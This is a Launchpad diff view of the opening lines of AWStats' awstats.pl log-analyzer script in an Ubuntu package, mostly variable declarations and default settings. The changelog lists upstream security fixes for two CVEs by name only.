~ubuntu-branches/ubuntu/oneiric/awstats/oneiric

« back to all changes in this revision

Viewing changes to .pc/1005_nested_includes.patch/wwwroot/cgi-bin/awstats.pl

  • Committer: Bazaar Package Importer
  • Author(s): Jonas Smedegaard, Sergey B Kirpichev, Jonas Smedegaard
  • Date: 2010-12-24 00:05:07 UTC
  • Revision ID: james.westby@ubuntu.com-20101224000507-5tgshwgf2wwnzqv7
Tags: 6.9.5~dfsg-5
[ Sergey B Kirpichev ]
* Bump up Standards-Version to 3.9.1.
* Remove examples/staticpages.sh.
* Take sucurity fixes from upstream CVS:
  - CVE-2010-4369: patch 0009 (closes directory traversal vulnerability via
    crafted LoadPlugin directory).
  - CVE-2010-4367(and CVE-2010-4368): update patch 1002 (sanitize configdir,
    disable overwriting of configdir parameter in cgi mode).
  Closes: bug#606263.

[ Jonas Smedegaard ]
* Unfuzz patches.
* Ease building with git-buildpackage:
  + Add dpkg-source local-options.
  + Suppress .pc dir.

Show diffs side-by-side

added added

removed removed

Lines of Context:
1
 
#!/usr/bin/perl
2
 
#------------------------------------------------------------------------------
3
 
# Free realtime web server logfile analyzer to show advanced web statistics.
4
 
# Works from command line or as a CGI. You must use this script as often as
5
 
# necessary from your scheduler to update your statistics and from command
6
 
# line or a browser to read report results.
7
 
# See AWStats documentation (in docs/ directory) for all setup instructions.
8
 
#------------------------------------------------------------------------------
9
 
# $Revision: 1.943 $ - $Author: eldy $ - $Date: 2009/10/10 12:36:38 $
10
 
require 5.007;
11
 
 
12
 
#$|=1;
13
 
#use warnings;          # Must be used in test mode only. This reduce a little process speed
14
 
#use diagnostics;       # Must be used in test mode only. This reduce a lot of process speed
15
 
use strict;
16
 
no strict "refs";
17
 
use Time::Local
18
 
  ; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules
19
 
use Socket;
20
 
use Encode;
21
 
 
22
 
#------------------------------------------------------------------------------
23
 
# Defines
24
 
#------------------------------------------------------------------------------
25
 
use vars qw/ $REVISION $VERSION /;
26
 
$REVISION = '$Revision: 1.943 $';
27
 
$REVISION =~ /\s(.*)\s/;
28
 
$REVISION = $1;
29
 
$VERSION  = "6.95 (build $REVISION)";
30
 
 
31
 
# ----- Constants -----
32
 
use vars qw/
33
 
  $DEBUGFORCED $NBOFLINESFORBENCHMARK $FRAMEWIDTH $NBOFLASTUPDATELOOKUPTOSAVE
34
 
  $LIMITFLUSH $NEWDAYVISITTIMEOUT $VISITTIMEOUT $NOTSORTEDRECORDTOLERANCE
35
 
  $WIDTHCOLICON $TOOLTIPON
36
 
  $lastyearbeforeupdate $lastmonthbeforeupdate $lastdaybeforeupdate $lasthourbeforeupdate $lastdatebeforeupdate
37
 
  $NOHTML
38
 
  /;
39
 
$DEBUGFORCED = 0
40
 
  ; # Force debug level to log lesser level into debug.log file (Keep this value to 0)
41
 
$NBOFLINESFORBENCHMARK = 8192
42
 
  ; # Benchmark info are printing every NBOFLINESFORBENCHMARK lines (Must be a power of 2)
43
 
$FRAMEWIDTH = 240;    # Width of left frame when UseFramesWhenCGI is on
44
 
$NBOFLASTUPDATELOOKUPTOSAVE =
45
 
  500;                # Nb of records to save in DNS last update cache file
46
 
$LIMITFLUSH =
47
 
  5000;   # Nb of records in data arrays after how we need to flush data on disk
48
 
$NEWDAYVISITTIMEOUT = 764041;    # Delay between 01-23:59:59 and 02-00:00:00
49
 
$VISITTIMEOUT       = 10000
50
 
  ; # Lapse of time to consider a page load as a new visit. 10000 = 1 hour (Default = 10000)
51
 
$NOTSORTEDRECORDTOLERANCE = 20000
52
 
  ; # Lapse of time to accept a record if not in correct order. 20000 = 2 hour (Default = 20000)
53
 
$WIDTHCOLICON = 32;
54
 
$TOOLTIPON    = 0;    # Tooltips plugin loaded
55
 
$NOHTML       = 0;    # Suppress the html headers
56
 
 
57
 
# ----- Running variables -----
58
 
use vars qw/
59
 
  $DIR $PROG $Extension
60
 
  $Debug $ShowSteps
61
 
  $DebugResetDone $DNSLookupAlreadyDone
62
 
  $RunAsCli $UpdateFor $HeaderHTTPSent $HeaderHTMLSent
63
 
  $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum $LastUpdate
64
 
  $lowerval
65
 
  $PluginMode
66
 
  $MetaRobot
67
 
  $TotalUnique $TotalVisits $TotalHostsKnown $TotalHostsUnknown
68
 
  $TotalPages $TotalHits $TotalBytes
69
 
  $TotalNotViewedPages $TotalNotViewedHits $TotalNotViewedBytes
70
 
  $TotalEntries $TotalExits $TotalBytesPages $TotalDifferentPages
71
 
  $TotalKeyphrases $TotalKeywords $TotalDifferentKeyphrases $TotalDifferentKeywords
72
 
  $TotalSearchEnginesPages $TotalSearchEnginesHits $TotalRefererPages $TotalRefererHits $TotalDifferentSearchEngines $TotalDifferentReferer
73
 
  $FrameName $Center $FileConfig $FileSuffix $Host $YearRequired $MonthRequired $DayRequired $HourRequired
74
 
  $QueryString $SiteConfig $StaticLinks $PageCode $PageDir $PerlParsingFormat $UserAgent
75
 
  $pos_vh $pos_host $pos_logname $pos_date $pos_tz $pos_method $pos_url $pos_code $pos_size
76
 
  $pos_referer $pos_agent $pos_query $pos_gzipin $pos_gzipout $pos_compratio $pos_timetaken
77
 
  $pos_cluster $pos_emails $pos_emailr $pos_hostr @pos_extra
78
 
  /;
79
 
$DIR = $PROG = $Extension = '';
80
 
$Debug          = $ShowSteps            = 0;
81
 
$DebugResetDone = $DNSLookupAlreadyDone = 0;
82
 
$RunAsCli       = $UpdateFor            = $HeaderHTTPSent = $HeaderHTMLSent = 0;
83
 
$LastLine = $LastLineNumber = $LastLineOffset = $LastLineChecksum = 0;
84
 
$LastUpdate          = 0;
85
 
$lowerval            = 0;
86
 
$PluginMode          = '';
87
 
$MetaRobot           = 0;
88
 
$TotalUnique         = $TotalVisits = $TotalHostsKnown = $TotalHostsUnknown = 0;
89
 
$TotalPages          = $TotalHits = $TotalBytes = 0;
90
 
$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
91
 
$TotalEntries = $TotalExits = $TotalBytesPages = $TotalDifferentPages = 0;
92
 
$TotalKeyphrases = $TotalKeywords = $TotalDifferentKeyphrases = 0;
93
 
$TotalDifferentKeywords = 0;
94
 
$TotalSearchEnginesPages = $TotalSearchEnginesHits = $TotalRefererPages = 0;
95
 
$TotalRefererHits = $TotalDifferentSearchEngines = $TotalDifferentReferer = 0;
96
 
(
97
 
        $FrameName,    $Center,       $FileConfig,        $FileSuffix,
98
 
        $Host,         $YearRequired, $MonthRequired,     $DayRequired,
99
 
        $HourRequired, $QueryString,  $SiteConfig,        $StaticLinks,
100
 
        $PageCode,     $PageDir,      $PerlParsingFormat, $UserAgent
101
 
  )
102
 
  = ( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' );
103
 
 
104
 
# ----- Plugins variable -----
105
 
use vars qw/ %PluginsLoaded $PluginDir $AtLeastOneSectionPlugin /;
106
 
%PluginsLoaded           = ();
107
 
$PluginDir               = '';
108
 
$AtLeastOneSectionPlugin = 0;
109
 
 
110
 
# ----- Time vars -----
111
 
use vars qw/
112
 
  $starttime
113
 
  $nowtime $tomorrowtime
114
 
  $nowweekofmonth $nowweekofyear $nowdaymod $nowsmallyear
115
 
  $nowsec $nowmin $nowhour $nowday $nowmonth $nowyear $nowwday $nowyday $nowns
116
 
  $StartSeconds $StartMicroseconds
117
 
  /;
118
 
$StartSeconds = $StartMicroseconds = 0;
119
 
 
120
 
# ----- Variables for config file reading -----
121
 
use vars qw/
122
 
  $FoundNotPageList
123
 
  /;
124
 
$FoundNotPageList = 0;
125
 
 
126
 
# ----- Config file variables -----
127
 
use vars qw/
128
 
  $StaticExt
129
 
  $DNSStaticCacheFile
130
 
  $DNSLastUpdateCacheFile
131
 
  $MiscTrackerUrl
132
 
  $Lang
133
 
  $MaxRowsInHTMLOutput
134
 
  $MaxLengthOfShownURL
135
 
  $MaxLengthOfStoredURL
136
 
  $MaxLengthOfStoredUA
137
 
  %BarPng
138
 
  $BuildReportFormat
139
 
  $BuildHistoryFormat
140
 
  $ExtraTrackedRowsLimit
141
 
  $DatabaseBreak
142
 
  $SectionsToBeSaved
143
 
  /;
144
 
$StaticExt              = 'html';
145
 
$DNSStaticCacheFile     = 'dnscache.txt';
146
 
$DNSLastUpdateCacheFile = 'dnscachelastupdate.txt';
147
 
$MiscTrackerUrl         = '/js/awstats_misc_tracker.js';
148
 
$Lang                   = 'auto';
149
 
$SectionsToBeSaved      = 'all';
150
 
$MaxRowsInHTMLOutput    = 1000;
151
 
$MaxLengthOfShownURL    = 64;
152
 
$MaxLengthOfStoredURL = 256;  # Note: Apache LimitRequestLine is default to 8190
153
 
$MaxLengthOfStoredUA  = 256;
154
 
%BarPng               = (
155
 
        'vv' => 'vv.png',
156
 
        'vu' => 'vu.png',
157
 
        'hu' => 'hu.png',
158
 
        'vp' => 'vp.png',
159
 
        'hp' => 'hp.png',
160
 
        'he' => 'he.png',
161
 
        'hx' => 'hx.png',
162
 
        'vh' => 'vh.png',
163
 
        'hh' => 'hh.png',
164
 
        'vk' => 'vk.png',
165
 
        'hk' => 'hk.png'
166
 
);
167
 
$BuildReportFormat     = 'html';
168
 
$BuildHistoryFormat    = 'text';
169
 
$ExtraTrackedRowsLimit = 500;
170
 
$DatabaseBreak         = 'month';
171
 
use vars qw/
172
 
  $DebugMessages $AllowToUpdateStatsFromBrowser $EnableLockForUpdate $DNSLookup $AllowAccessFromWebToAuthenticatedUsersOnly
173
 
  $BarHeight $BarWidth $CreateDirDataIfNotExists $KeepBackupOfHistoricFiles
174
 
  $NbOfLinesParsed $NbOfLinesDropped $NbOfLinesCorrupted $NbOfOldLines $NbOfNewLines
175
 
  $NbOfLinesShowsteps $NewLinePhase $NbOfLinesForCorruptedLog $PurgeLogFile $ArchiveLogRecords
176
 
  $ShowDropped $ShowCorrupted $ShowUnknownOrigin $ShowDirectOrigin $ShowLinksToWhoIs
177
 
  $ShowAuthenticatedUsers $ShowFileSizesStats $ShowScreenSizeStats $ShowSMTPErrorsStats
178
 
  $ShowEMailSenders $ShowEMailReceivers $ShowWormsStats $ShowClusterStats
179
 
  $IncludeInternalLinksInOriginSection
180
 
  $AuthenticatedUsersNotCaseSensitive
181
 
  $Expires $UpdateStats $MigrateStats $URLNotCaseSensitive $URLWithQuery $URLReferrerWithQuery
182
 
  $DecodeUA
183
 
  /;
184
 
(
185
 
        $DebugMessages,
186
 
        $AllowToUpdateStatsFromBrowser,
187
 
        $EnableLockForUpdate,
188
 
        $DNSLookup,
189
 
        $AllowAccessFromWebToAuthenticatedUsersOnly,
190
 
        $BarHeight,
191
 
        $BarWidth,
192
 
        $CreateDirDataIfNotExists,
193
 
        $KeepBackupOfHistoricFiles,
194
 
        $NbOfLinesParsed,
195
 
        $NbOfLinesDropped,
196
 
        $NbOfLinesCorrupted,
197
 
        $NbOfOldLines,
198
 
        $NbOfNewLines,
199
 
        $NbOfLinesShowsteps,
200
 
        $NewLinePhase,
201
 
        $NbOfLinesForCorruptedLog,
202
 
        $PurgeLogFile,
203
 
        $ArchiveLogRecords,
204
 
        $ShowDropped,
205
 
        $ShowCorrupted,
206
 
        $ShowUnknownOrigin,
207
 
        $ShowDirectOrigin,
208
 
        $ShowLinksToWhoIs,
209
 
        $ShowAuthenticatedUsers,
210
 
        $ShowFileSizesStats,
211
 
        $ShowScreenSizeStats,
212
 
        $ShowSMTPErrorsStats,
213
 
        $ShowEMailSenders,
214
 
        $ShowEMailReceivers,
215
 
        $ShowWormsStats,
216
 
        $ShowClusterStats,
217
 
        $IncludeInternalLinksInOriginSection,
218
 
        $AuthenticatedUsersNotCaseSensitive,
219
 
        $Expires,
220
 
        $UpdateStats,
221
 
        $MigrateStats,
222
 
        $URLNotCaseSensitive,
223
 
        $URLWithQuery,
224
 
        $URLReferrerWithQuery,
225
 
        $DecodeUA
226
 
  )
227
 
  = (
228
 
        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
229
 
        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
230
 
  );
231
 
use vars qw/
232
 
  $DetailedReportsOnNewWindows
233
 
  $FirstDayOfWeek $KeyWordsNotSensitive $SaveDatabaseFilesWithPermissionsForEveryone
234
 
  $WarningMessages $ShowLinksOnUrl $UseFramesWhenCGI
235
 
  $ShowMenu $ShowSummary $ShowMonthStats $ShowDaysOfMonthStats $ShowDaysOfWeekStats
236
 
  $ShowHoursStats $ShowDomainsStats $ShowHostsStats
237
 
  $ShowRobotsStats $ShowSessionsStats $ShowPagesStats $ShowFileTypesStats
238
 
  $ShowOSStats $ShowBrowsersStats $ShowOriginStats
239
 
  $ShowKeyphrasesStats $ShowKeywordsStats $ShowMiscStats $ShowHTTPErrorsStats
240
 
  $AddDataArrayMonthStats $AddDataArrayShowDaysOfMonthStats $AddDataArrayShowDaysOfWeekStats $AddDataArrayShowHoursStats
241
 
  /;
242
 
(
243
 
        $DetailedReportsOnNewWindows,
244
 
        $FirstDayOfWeek,
245
 
        $KeyWordsNotSensitive,
246
 
        $SaveDatabaseFilesWithPermissionsForEveryone,
247
 
        $WarningMessages,
248
 
        $ShowLinksOnUrl,
249
 
        $UseFramesWhenCGI,
250
 
        $ShowMenu,
251
 
        $ShowSummary,
252
 
        $ShowMonthStats,
253
 
        $ShowDaysOfMonthStats,
254
 
        $ShowDaysOfWeekStats,
255
 
        $ShowHoursStats,
256
 
        $ShowDomainsStats,
257
 
        $ShowHostsStats,
258
 
        $ShowRobotsStats,
259
 
        $ShowSessionsStats,
260
 
        $ShowPagesStats,
261
 
        $ShowFileTypesStats,
262
 
        $ShowOSStats,
263
 
        $ShowBrowsersStats,
264
 
        $ShowOriginStats,
265
 
        $ShowKeyphrasesStats,
266
 
        $ShowKeywordsStats,
267
 
        $ShowMiscStats,
268
 
        $ShowHTTPErrorsStats,
269
 
        $AddDataArrayMonthStats,
270
 
        $AddDataArrayShowDaysOfMonthStats,
271
 
        $AddDataArrayShowDaysOfWeekStats,
272
 
        $AddDataArrayShowHoursStats
273
 
  )
274
 
  = (
275
 
        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
276
 
        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
277
 
  );
278
 
use vars qw/
279
 
  $AllowFullYearView
280
 
  $LevelForRobotsDetection $LevelForWormsDetection $LevelForBrowsersDetection $LevelForOSDetection $LevelForRefererAnalyze
281
 
  $LevelForFileTypesDetection $LevelForSearchEnginesDetection $LevelForKeywordsDetection
282
 
  /;
283
 
(
284
 
        $AllowFullYearView,          $LevelForRobotsDetection,
285
 
        $LevelForWormsDetection,     $LevelForBrowsersDetection,
286
 
        $LevelForOSDetection,        $LevelForRefererAnalyze,
287
 
        $LevelForFileTypesDetection, $LevelForSearchEnginesDetection,
288
 
        $LevelForKeywordsDetection
289
 
  )
290
 
  = ( 2, 2, 0, 2, 2, 2, 2, 2, 2 );
291
 
use vars qw/
292
 
  $DirLock $DirCgi $DirConfig $DirData $DirIcons $DirLang $AWScript $ArchiveFileName
293
 
  $AllowAccessFromWebToFollowingIPAddresses $HTMLHeadSection $HTMLEndSection $LinksToWhoIs $LinksToIPWhoIs
294
 
  $LogFile $LogType $LogFormat $LogSeparator $Logo $LogoLink $StyleSheet $WrapperScript $SiteDomain
295
 
  $UseHTTPSLinkForUrl $URLQuerySeparators $URLWithAnchor $ErrorMessages $ShowFlagLinks
296
 
  /;
297
 
(
298
 
        $DirLock,                                  $DirCgi,
299
 
        $DirConfig,                                $DirData,
300
 
        $DirIcons,                                 $DirLang,
301
 
        $AWScript,                                 $ArchiveFileName,
302
 
        $AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection,
303
 
        $HTMLEndSection,                           $LinksToWhoIs,
304
 
        $LinksToIPWhoIs,                           $LogFile,
305
 
        $LogType,                                  $LogFormat,
306
 
        $LogSeparator,                             $Logo,
307
 
        $LogoLink,                                 $StyleSheet,
308
 
        $WrapperScript,                            $SiteDomain,
309
 
        $UseHTTPSLinkForUrl,                       $URLQuerySeparators,
310
 
        $URLWithAnchor,                            $ErrorMessages,
311
 
        $ShowFlagLinks
312
 
  )
313
 
  = (
314
 
        '', '', '', '', '', '', '', '', '', '', '', '', '', '',
315
 
        '', '', '', '', '', '', '', '', '', '', '', '', ''
316
 
  );
317
 
use vars qw/
318
 
  $color_Background $color_TableBG $color_TableBGRowTitle
319
 
  $color_TableBGTitle $color_TableBorder $color_TableRowTitle $color_TableTitle
320
 
  $color_text $color_textpercent $color_titletext $color_weekend $color_link $color_hover $color_other
321
 
  $color_h $color_k $color_p $color_e $color_x $color_s $color_u $color_v
322
 
  /;
323
 
(
324
 
        $color_Background,   $color_TableBG,     $color_TableBGRowTitle,
325
 
        $color_TableBGTitle, $color_TableBorder, $color_TableRowTitle,
326
 
        $color_TableTitle,   $color_text,        $color_textpercent,
327
 
        $color_titletext,    $color_weekend,     $color_link,
328
 
        $color_hover,        $color_other,       $color_h,
329
 
        $color_k,            $color_p,           $color_e,
330
 
        $color_x,            $color_s,           $color_u,
331
 
        $color_v
332
 
  )
333
 
  = (
334
 
        '', '', '', '', '', '', '', '', '', '', '', '',
335
 
        '', '', '', '', '', '', '', '', '', ''
336
 
  );
337
 
 
338
 
# ---------- Init arrays --------
339
 
use vars qw/
340
 
  @RobotsSearchIDOrder_list1 @RobotsSearchIDOrder_list2 @RobotsSearchIDOrder_listgen
341
 
  @SearchEnginesSearchIDOrder_list1 @SearchEnginesSearchIDOrder_list2 @SearchEnginesSearchIDOrder_listgen
342
 
  @BrowsersSearchIDOrder @OSSearchIDOrder @WordsToExtractSearchUrl @WordsToCleanSearchUrl
343
 
  @WormsSearchIDOrder
344
 
  @RobotsSearchIDOrder @SearchEnginesSearchIDOrder
345
 
  @_from_p @_from_h
346
 
  @_time_p @_time_h @_time_k @_time_nv_p @_time_nv_h @_time_nv_k
347
 
  @DOWIndex @fieldlib @keylist
348
 
  /;
349
 
@RobotsSearchIDOrder = @SearchEnginesSearchIDOrder = ();
350
 
@_from_p = @_from_h = ();
351
 
@_time_p = @_time_h = @_time_k = @_time_nv_p = @_time_nv_h = @_time_nv_k = ();
352
 
@DOWIndex = @fieldlib = @keylist = ();
353
 
use vars qw/
354
 
  @MiscListOrder %MiscListCalc
355
 
  %OSFamily %BrowsersFamily @SessionsRange %SessionsAverage
356
 
  %LangBrowserToLangAwstats %LangAWStatsToFlagAwstats %SafariBuildToVersion
357
 
  @HostAliases @AllowAccessFromWebToFollowingAuthenticatedUsers
358
 
  @DefaultFile @SkipDNSLookupFor
359
 
  @SkipHosts @SkipUserAgents @SkipFiles @SkipReferrers @NotPageFiles
360
 
  @OnlyHosts @OnlyUserAgents @OnlyFiles @OnlyUsers
361
 
  @URLWithQueryWithOnly @URLWithQueryWithout
362
 
  @ExtraName @ExtraCondition @ExtraStatTypes @MaxNbOfExtra @MinHitExtra
363
 
  @ExtraFirstColumnTitle @ExtraFirstColumnValues @ExtraFirstColumnFunction @ExtraFirstColumnFormat
364
 
  @ExtraCodeFilter @ExtraConditionType @ExtraConditionTypeVal
365
 
  @ExtraFirstColumnValuesType @ExtraFirstColumnValuesTypeVal
366
 
  @ExtraAddAverageRow @ExtraAddSumRow
367
 
  @PluginsToLoad
368
 
  /;
369
 
@MiscListOrder = (
370
 
        'AddToFavourites',  'JavascriptDisabled',
371
 
        'JavaEnabled',      'DirectorSupport',
372
 
        'FlashSupport',     'RealPlayerSupport',
373
 
        'QuickTimeSupport', 'WindowsMediaPlayerSupport',
374
 
        'PDFSupport'
375
 
);
376
 
%MiscListCalc = (
377
 
        'TotalMisc'                 => '',
378
 
        'AddToFavourites'           => 'u',
379
 
        'JavascriptDisabled'        => 'hm',
380
 
        'JavaEnabled'               => 'hm',
381
 
        'DirectorSupport'           => 'hm',
382
 
        'FlashSupport'              => 'hm',
383
 
        'RealPlayerSupport'         => 'hm',
384
 
        'QuickTimeSupport'          => 'hm',
385
 
        'WindowsMediaPlayerSupport' => 'hm',
386
 
        'PDFSupport'                => 'hm'
387
 
);
388
 
%OSFamily = (
389
 
        'win'   => 'Windows',
390
 
        'mac'   => 'Macintosh',
391
 
        'linux' => 'Linux',
392
 
        'bsd'   => 'BSD'
393
 
);
394
 
%BrowsersFamily = (
395
 
        'msie'      => 1,
396
 
        'firefox'   => 2,
397
 
        'netscape'  => 3,
398
 
        'svn'       => 4,
399
 
        'opera'     => 5,
400
 
        'safari'    => 6,
401
 
        'chrome'    => 7,
402
 
        'konqueror' => 8
403
 
);
404
 
@SessionsRange =
405
 
  ( '0s-30s', '30s-2mn', '2mn-5mn', '5mn-15mn', '15mn-30mn', '30mn-1h', '1h+' );
406
 
%SessionsAverage = (
407
 
        '0s-30s',   15,  '30s-2mn',   75,   '2mn-5mn', 210,
408
 
        '5mn-15mn', 600, '15mn-30mn', 1350, '30mn-1h', 2700,
409
 
        '1h+',      3600
410
 
);
411
 
 
412
 
# HTTP-Accept or Lang parameter => AWStats code to use for lang
413
 
# ISO-639-1 or 2 or other       => awstats-xx.txt where xx is ISO-639-1
414
 
%LangBrowserToLangAwstats = (
415
 
        'sq'    => 'al',
416
 
        'ar'    => 'ar',
417
 
        'ba'    => 'ba',
418
 
        'bg'    => 'bg',
419
 
        'zh-tw' => 'tw',
420
 
        'zh'    => 'cn',
421
 
        'cs'    => 'cz',
422
 
        'de'    => 'de',
423
 
        'da'    => 'dk',
424
 
        'en'    => 'en',
425
 
        'et'    => 'et',
426
 
        'fi'    => 'fi',
427
 
        'fr'    => 'fr',
428
 
        'gl'    => 'gl',
429
 
        'es'    => 'es',
430
 
        'eu'    => 'eu',
431
 
        'ca'    => 'ca',
432
 
        'el'    => 'gr',
433
 
        'hu'    => 'hu',
434
 
        'is'    => 'is',
435
 
        'in'    => 'id',
436
 
        'it'    => 'it',
437
 
        'ja'    => 'jp',
438
 
        'kr'    => 'ko',
439
 
        'lv'    => 'lv',
440
 
        'nl'    => 'nl',
441
 
        'no'    => 'nb',
442
 
        'nb'    => 'nb',
443
 
        'nn'    => 'nn',
444
 
        'pl'    => 'pl',
445
 
        'pt'    => 'pt',
446
 
        'pt-br' => 'br',
447
 
        'ro'    => 'ro',
448
 
        'ru'    => 'ru',
449
 
        'sr'    => 'sr',
450
 
        'sk'    => 'sk',
451
 
        'sv'    => 'se',
452
 
        'th'    => 'th',
453
 
        'tr'    => 'tr',
454
 
        'uk'    => 'ua',
455
 
        'cy'    => 'cy',
456
 
        'wlk'   => 'cy'
457
 
);
458
 
%LangAWStatsToFlagAwstats =
459
 
  (  # If flag (country ISO-3166 two letters) is not same than AWStats Lang code
460
 
        'ca' => 'es_cat',
461
 
        'et' => 'ee',
462
 
        'eu' => 'es_eu',
463
 
        'cy' => 'wlk',
464
 
        'gl' => 'glg',
465
 
        'he' => 'il',
466
 
        'ko' => 'kr',
467
 
        'ar' => 'sa',
468
 
        'sr' => 'cs'
469
 
  );
470
 
 
471
 
# TODO Remove this old array for an old way to detect Safari version
472
 
%SafariBuildToVersion = (
473
 
        '85'        => '1.0',
474
 
        '85.5'      => '1.0',
475
 
        '85.7'      => '1.0.2',
476
 
        '85.8'      => '1.0.3',
477
 
        '85.8.1'    => '1.0.3',
478
 
        '100'       => '1.1',
479
 
        '100.1'     => '1.1.1',
480
 
        '125.7'     => '1.2.2',
481
 
        '125.8'     => '1.2.2',
482
 
        '125.9'     => '1.2.3',
483
 
        '125.11'    => '1.2.4',
484
 
        '125.12'    => '1.2.4',
485
 
        '312'       => '1.3',
486
 
        '312.3'     => '1.3.1',
487
 
        '312.3.1'   => '1.3.1',
488
 
        '312.5'     => '1.3.2',
489
 
        '312.6'     => '1.3.2',
490
 
        '412'       => '2.0',
491
 
        '412.2'     => '2.0',
492
 
        '412.2.2'   => '2.0',
493
 
        '412.5'     => '2.0.1',
494
 
        '413'       => '2.0.1',
495
 
        '416.12'    => '2.0.2',
496
 
        '416.13'    => '2.0.2',
497
 
        '417.8'     => '2.0.3',
498
 
        '417.9.2'   => '2.0.3',
499
 
        '417.9.3'   => '2.0.3',
500
 
        '419.3'     => '2.0.4',
501
 
        '522.11.3'  => '3.0',
502
 
        '522.12'    => '3.0.2',
503
 
        '523.10'    => '3.0.4',
504
 
        '523.12'    => '3.0.4',
505
 
        '525.13'    => '3.1',
506
 
        '525.17'    => '3.1.1',
507
 
        '525.20'    => '3.1.1',
508
 
        '525.20.1'  => '3.1.2',
509
 
        '525.21'    => '3.1.2',
510
 
        '525.22'    => '3.1.2',
511
 
        '525.26'    => '3.2',
512
 
        '525.26.13' => '3.2',
513
 
        '525.27'    => '3.2.1',
514
 
        '525.27.1'  => '3.2.1',
515
 
        '526.11.2'  => '4.0',
516
 
        '528.1'     => '4.0',
517
 
        '528.16'    => '4.0'
518
 
);
519
 
@HostAliases = @AllowAccessFromWebToFollowingAuthenticatedUsers = ();
520
 
@DefaultFile = @SkipDNSLookupFor = ();
521
 
@SkipHosts = @SkipUserAgents = @NotPageFiles = @SkipFiles = @SkipReferrers = ();
522
 
@OnlyHosts = @OnlyUserAgents = @OnlyFiles = @OnlyUsers = ();
523
 
@URLWithQueryWithOnly     = @URLWithQueryWithout    = ();
524
 
@ExtraName                = @ExtraCondition         = @ExtraStatTypes = ();
525
 
@MaxNbOfExtra             = @MinHitExtra            = ();
526
 
@ExtraFirstColumnTitle    = @ExtraFirstColumnValues = ();
527
 
@ExtraFirstColumnFunction = @ExtraFirstColumnFormat = ();
528
 
@ExtraCodeFilter = @ExtraConditionType = @ExtraConditionTypeVal = ();
529
 
@ExtraFirstColumnValuesType = @ExtraFirstColumnValuesTypeVal = ();
530
 
@ExtraAddAverageRow         = @ExtraAddSumRow                = ();
531
 
@PluginsToLoad              = ();
532
 
 
533
 
# ---------- Init hash arrays --------
534
 
use vars qw/
535
 
  %BrowsersHashIDLib %BrowsersHashIcon %BrowsersHereAreGrabbers
536
 
  %DomainsHashIDLib
537
 
  %MimeHashLib %MimeHashIcon %MimeHashFamily
538
 
  %OSHashID %OSHashLib
539
 
  %RobotsHashIDLib %RobotsAffiliateLib
540
 
  %SearchEnginesHashID %SearchEnginesHashLib %SearchEnginesWithKeysNotInQuery %SearchEnginesKnownUrl %NotSearchEnginesKeys
541
 
  %WormsHashID %WormsHashLib %WormsHashTarget
542
 
  /;
543
 
use vars qw/
544
 
  %HTMLOutput %NoLoadPlugin %FilterIn %FilterEx
545
 
  %BadFormatWarning
546
 
  %MonthNumLib
547
 
  %ValidHTTPCodes %ValidSMTPCodes
548
 
  %TrapInfosForHTTPErrorCodes %NotPageList %DayBytes %DayHits %DayPages %DayVisits
549
 
  %MaxNbOf %MinHit
550
 
  %ListOfYears %HistoryAlreadyFlushed %PosInFile %ValueInFile
551
 
  %val %nextval %egal
552
 
  %TmpDNSLookup %TmpOS %TmpRefererServer %TmpRobot %TmpBrowser %MyDNSTable
553
 
  /;
554
 
%HTMLOutput = %NoLoadPlugin = %FilterIn = %FilterEx = ();
555
 
%BadFormatWarning           = ();
556
 
%MonthNumLib                = ();
557
 
%ValidHTTPCodes             = %ValidSMTPCodes = ();
558
 
%TrapInfosForHTTPErrorCodes = ();
559
 
$TrapInfosForHTTPErrorCodes{404} = 1;    # TODO Add this in config file
560
 
%NotPageList = ();
561
 
%DayBytes    = %DayHits               = %DayPages  = %DayVisits   = ();
562
 
%MaxNbOf     = %MinHit                = ();
563
 
%ListOfYears = %HistoryAlreadyFlushed = %PosInFile = %ValueInFile = ();
564
 
%val = %nextval = %egal = ();
565
 
%TmpDNSLookup = %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
566
 
%MyDNSTable = ();
567
 
use vars qw/
568
 
  %FirstTime %LastTime
569
 
  %MonthHostsKnown %MonthHostsUnknown
570
 
  %MonthUnique %MonthVisits
571
 
  %MonthPages %MonthHits %MonthBytes
572
 
  %MonthNotViewedPages %MonthNotViewedHits %MonthNotViewedBytes
573
 
  %_session %_browser_h
574
 
  %_domener_p %_domener_h %_domener_k %_errors_h %_errors_k
575
 
  %_filetypes_h %_filetypes_k %_filetypes_gz_in %_filetypes_gz_out
576
 
  %_host_p %_host_h %_host_k %_host_l %_host_s %_host_u
577
 
  %_waithost_e %_waithost_l %_waithost_s %_waithost_u
578
 
  %_keyphrases %_keywords %_os_h %_pagesrefs_p %_pagesrefs_h %_robot_h %_robot_k %_robot_l %_robot_r
579
 
  %_worm_h %_worm_k %_worm_l %_login_h %_login_p %_login_k %_login_l %_screensize_h
580
 
  %_misc_p %_misc_h %_misc_k
581
 
  %_cluster_p %_cluster_h %_cluster_k
582
 
  %_se_referrals_p %_se_referrals_h %_sider404_h %_referer404_h %_url_p %_url_k %_url_e %_url_x
583
 
  %_unknownreferer_l %_unknownrefererbrowser_l
584
 
  %_emails_h %_emails_k %_emails_l %_emailr_h %_emailr_k %_emailr_l
585
 
  /;
586
 
&Init_HashArray();
587
 
 
588
 
# ---------- Init Regex --------
589
 
use vars qw/ $regclean1 $regclean2 $regdate /;
590
 
$regclean1 = qr/<(recnb|\/td)>/i;
591
 
$regclean2 = qr/<\/?[^<>]+>/i;
592
 
$regdate   = qr/(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)/;
593
 
 
594
 
# ---------- Init Tie::hash arrays --------
595
 
# Didn't find a tie that increase speed
596
 
#use Tie::StdHash;
597
 
#use Tie::Cache::LRU;
598
 
#tie %_host_p, 'Tie::StdHash';
599
 
#tie %TmpOS, 'Tie::Cache::LRU';
600
 
 
601
 
# PROTOCOL CODES
602
 
